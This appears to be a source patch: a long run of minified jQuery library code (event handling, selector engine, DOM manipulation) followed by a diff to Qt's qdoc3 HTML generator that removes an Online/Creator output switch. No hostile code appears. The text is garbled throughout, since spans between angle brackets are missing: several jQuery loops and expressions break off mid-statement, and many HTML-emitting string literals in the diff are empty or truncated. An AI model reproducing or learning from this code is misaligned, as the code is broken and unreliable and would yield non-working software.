G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true, -{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this, -a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d); -return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]|| -a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m= -c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value|| -{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d); -f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText= -""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j= -function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a, -d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+ -s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a, -"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d, -b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b, -d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), -fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop|| -d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b= -0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true}; -c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b= -a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!== -"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this, -"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"|| -d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a= -a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this, -f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a, -b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g|| -typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u= -l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&& -y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&& -"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true); -return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"=== -g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,k,l){return h===l.length-1},even:function(g,h){return h%2=== -0},odd:function(g,h){return h%2===1},lt:function(g,h,k){return hk[3]-0},nth:function(g,h,k){return k[3]-0===h},eq:function(g,h,k){return k[3]-0===h}},filter:{PSEUDO:function(g,h,k,l){var q=h[1],p=m.filters[q];if(p)return p(g,k,h,l);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=h[3];k=0;for(l=h.length;k= -0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var k=h[1];g=m.attrHandle[k]?m.attrHandle[k](g):g[k]!=null?g[k]:g.getAttribute(k);k=g+"";var l=h[2];h=h[4];return g==null?l==="!=":l==="="?k===h:l==="*="?k.indexOf(h)>=0:l==="~="?(" "+k+" ").indexOf(h)>=0:!h?k&&g!==false:l==="!="?k!==h:l==="^="? -k.indexOf(h)===0:l==="$="?k.substr(k.length-h.length)===h:l==="|="?k===h||k.substr(0,h.length+1)===h+"-":false},POS:function(g,h,k,l){var q=m.setFilters[h[2]];if(q)return q(g,k,h,l)}}},s=m.match.POS;for(var x in m.match){m.match[x]=new RegExp(m.match[x].source+/(?![^\[]*\])(?![^\(]*\))/.source);m.leftMatch[x]=new RegExp(/(^(?:.|\r|\n)*?)/.source+m.match[x].source.replace(/\\(\d+)/g,function(g,h){return"\\"+(h-0+1)}))}var A=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g}; -try{Array.prototype.slice.call(r.documentElement.childNodes,0)}catch(B){A=function(g,h){h=h||[];if(i.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var k=0,l=g.length;k";var k=r.documentElement;k.insertBefore(g,k.firstChild);if(r.getElementById(h)){m.find.ID=function(l,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(l[1]))?q.id===l[1]||typeof q.getAttributeNode!=="undefined"&&q.getAttributeNode("id").nodeValue===l[1]?[q]:v:[]};m.filter.ID=function(l,q){var p=typeof l.getAttributeNode!=="undefined"&&l.getAttributeNode("id"); -return l.nodeType===1&&p&&p.nodeValue===q}}k.removeChild(g);k=g=null})();(function(){var g=r.createElement("div");g.appendChild(r.createComment(""));if(g.getElementsByTagName("*").length>0)m.find.TAG=function(h,k){k=k.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var l=0;k[l];l++)k[l].nodeType===1&&h.push(k[l]);k=h}return k};g.innerHTML="";if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")m.attrHandle.href=function(h){return h.getAttribute("href", -2)};g=null})();r.querySelectorAll&&function(){var g=o,h=r.createElement("div");h.innerHTML="

    ";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){o=function(l,q,p,u){q=q||r;if(!u&&q.nodeType===9&&!w(q))try{return A(q.querySelectorAll(l),p)}catch(t){}return g(l,q,p,u)};for(var k in g)o[k]=g[k];h=null}}();(function(){var g=r.createElement("div");g.innerHTML="
    ";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length=== -0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){m.order.splice(1,0,"CLASS");m.find.CLASS=function(h,k,l){if(typeof k.getElementsByClassName!=="undefined"&&!l)return k.getElementsByClassName(h[1])};g=null}}})();var E=r.compareDocumentPosition?function(g,h){return g.compareDocumentPosition(h)&16}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},w=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},fa=function(g,h){var k=[], -l="",q;for(h=h.nodeType?[h]:h;q=m.match.PSEUDO.exec(g);){l+=q[0];g=g.replace(m.match.PSEUDO,"")}g=m.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var i=d;i0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,i={},j;if(f&&a.length){e=0;for(var n=a.length;e --1:c(f).is(e)){d.push({selector:j,elem:f});delete i[j]}}f=f.parentNode}}return d}var o=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(m,s){for(;s&&s.ownerDocument&&s!==b;){if(o?o.index(s)>-1:c(s).is(a))return s;s=s.parentNode}return null})},index:function(a){if(!a||typeof a==="string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(), -a);return this.pushStack(pa(a[0])||pa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")}, -nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);bb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e): -e;if((this.length>1||db.test(f))&&cb.test(a))e=e.reverse();return this.pushStack(e,a,Q.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===v||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!== -b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/"},F={option:[1,""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "], -col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
    ","
    "];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)}, -wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length? -d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments, -false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&& -!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/\n"; - out() << " \n"; - - - // Adding syntax highlighter // future release - - // Setting some additional style sheet related details depending on configuration (e.g. Online/Creator) - - switch (application) { - case Online: - // Adding style and js for small windows - out() << " \n"; - out() << " "; - out() << " \n"; - out() << " \n"; - // Browser spec styles - out() << " \n"; - out() << "\n"; - out() << "\n"; - out() << "\n"; - - out() << "\n"; - // CheckEmptyAndLoadList activating search - out() << "\n"; - break; - case Creator: - out() << "\n"; - out() << "\n"; // offline narrow - break; - default: - out() << "\n"; - out() << "\n"; - break; - } + + // Include style sheet and script links. + out() << headerStyles; + out() << headerScripts; + out() << endHeader; #ifdef GENERATE_MAC_REFS if (mainPage) generateMacRef(node, marker); #endif - switch (application) { - case Online: - out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - case Creator: - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - default: // default -- not used except if one forgets to set any of the above settings to true - out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - generateBreadCrumbs(title,node,marker); - out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - break; - } + out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); + generateBreadCrumbs(title,node,marker); + out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); - navigationLinks.clear(); + navigationLinks.clear(); if (node && !node->links().empty()) { QPair linkPair; @@ -1960,30 +1900,8 @@ void HtmlGenerator::generateFooter(const Node *node) out() << QString(footer).replace("\\" + COMMAND_VERSION, myTree->version()) << QString(address).replace("\\" + COMMAND_VERSION, myTree->version()); - switch (application) { - case Online: - out() << " \n"; - out() << " \n"; - out() << "\n"; - break; - case Creator: - out() << "\n"; - break; - default: - out() << "\n"; - } - out() << "\n"; + out() << "\n"; + out() << "\n"; } void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker, diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index d885ada..1b3de9e 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -95,10 +95,6 @@ class HtmlGenerator : public PageGenerator LastSinceType }; - enum Application { - Online, - Creator}; - public: HtmlGenerator(); ~HtmlGenerator(); @@ -301,11 +297,13 @@ class HtmlGenerator : public PageGenerator bool inTableHeader; int numTableRows; bool threeColumnEnumValueTable; - Application application; QString link; QStringList sectionNumber; QRegExp 